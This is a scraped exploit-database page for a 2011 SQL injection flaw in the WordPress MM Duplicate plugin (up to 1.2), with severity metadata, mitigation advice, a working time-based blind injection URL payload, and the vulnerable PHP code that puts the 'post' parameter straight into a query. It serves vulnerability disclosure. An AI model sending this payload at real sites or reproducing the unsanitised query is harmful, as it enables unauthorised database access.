Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
WordPress MM Duplicate plugin - exploit.company
header-logo
Suggest Exploit
vendor:
MM Duplicate plugin
by:
Miroslav Stampar
9
CVSS
CRITICAL
SQL Injection
89
CWE
Product Name: MM Duplicate plugin
Affected Version From: <= 1.2
Affected Version To: <= 1.2
Patch Exists: YES
Related CWE:
CPE: a:wordpress:mm_duplicate:1.2
Metasploit:
Other Scripts:
Platforms Tested:
2011

WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability

The WordPress MM Duplicate plugin version 1.2 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a crafted request to the 'duplicate' parameter in the 'index.php' file. This can lead to unauthorized access, data manipulation, or data leakage.

Mitigation:

Update to the latest version of the plugin. Sanitize user input before using it in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip
# Version: 1.2 (tested)

---
PoC
---
http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
class mm_duplicate_pages_posts
{
    ...
    function mm_duplicate_pages_posts()
    {
        ...
        add_action('init', array(&$this, 'dup'));
        ...        
    }

    function dup()
    {
        if($_GET['duplicate'])
        {
            $id = $_GET['post'];
            $dup = new mm_duplicate();
            ...
            $dup->duplicate_post_page($id);
        }
    }
...
}

class mm_duplicate
{
    function duplicate_post_page($id)
    {
        ...
        $select = "select * from ".$wpdb->prefix."postmeta where post_id = $id";
        ...
    }
...
}